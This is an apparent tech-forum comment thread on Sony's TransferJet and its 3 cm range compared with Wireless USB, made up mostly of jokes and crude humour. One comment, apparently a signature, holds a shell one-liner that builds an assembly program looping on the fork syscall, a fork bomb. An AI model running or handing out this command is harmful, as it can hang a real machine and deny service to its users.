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Sony Starts a Standards War Over Wireless USB
Stony Stevenson alerts us to news out of CES that Sony has kick-started another standards war, this time over wireless USB. Ars notes that Sony "[never was] one to settle for an open standard when the opportunity to push a proprietary alternative presents itself." Sony's TransferJet technology uses low-power UWB at very short distances to transfer data at a nominal 520 Mbps. Almost every other large technology company — including Intel, Microsoft, HP, and Samsung — has embraced the W-USB standard, which promises transfer speeds of 480 Mbps at distances up to 3 meters, vs. TransfeJet's 3 centimeters.
...In Asia 3cm is long!
(Tasteless humor I know, but I had to. Really.)
Sony's mom is an open standard.
But really...3 centimeters? Are they joking? Why not just plug it in at that point...
I doubt pornographers will adopt this. While it is to be promoted as "touch-and-go", it's only good for 3cms.
I don't therefore I'm not.
I think I'll start my own standards war. I went to the restroom today and streamed about a pint at a distance of two feet. Who wants to work on higher capacity and lower distance?
It's Wireless USPee.
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Well Sauron's Ring of Power had some positive features for the user too. Invisibility, Kick Assitude, Frothing Megalomania to name but three, but that doesn't alter the fact its primary purpose was to bind people in the darkness. Same with Cocaine really.
Don't let it fool you though. Pretty soon you'll be stealing from your best friends and family and/or selling your ass on the street to get the money for a copy of Eragon Special Edition BluRay though, unless you cast your PS3 into the fires of Mount Doom and buy a chipped Wii off eBay.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
...only arranged horizontally...
It's arranged horizontally when you're drunk and lieing on the floor. Like I obviously am right now.
Normally, MS-WMC XMB rip-off is *vertical.*
Microsoft is to software what Budweiser is to beer.
Oh, that's easily fixed. All you need is a series of signal repeaters to the printers. There will be far too many for wall-mounting, but they could easily be incorporated into a long, thin, flexible sheath of rubber that could be attached to both the computer and the printer. Each repeater will need power, so perhaps a power chord could be incorporated into the design. In fact, you could have several of these rubber sheaths attached to different wireless devices, attached to a computer's, say, USB port.
You know, there is a difference between trolling and pointing out the flaws in your reasoning. Just saying.
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Think '3cm', the maximum coupling distance according to the article. Definitely not a stereo hookup alternative. 3cm is plenty for lots of people... Um, do ants and mites buy lots of stereo equipment ? It could make a killing in that market segment.
May contain traces of nut.
Made from the freshest electrons.
which is totally what she said
Sony moves up one notch, displacing Steve Jobs Apple in second place, for now.
1) Microsoft
2) Sony Corp
3) Apple Computers
4) Google
5) Facebook
6) The Mormons
Salut,
Jacques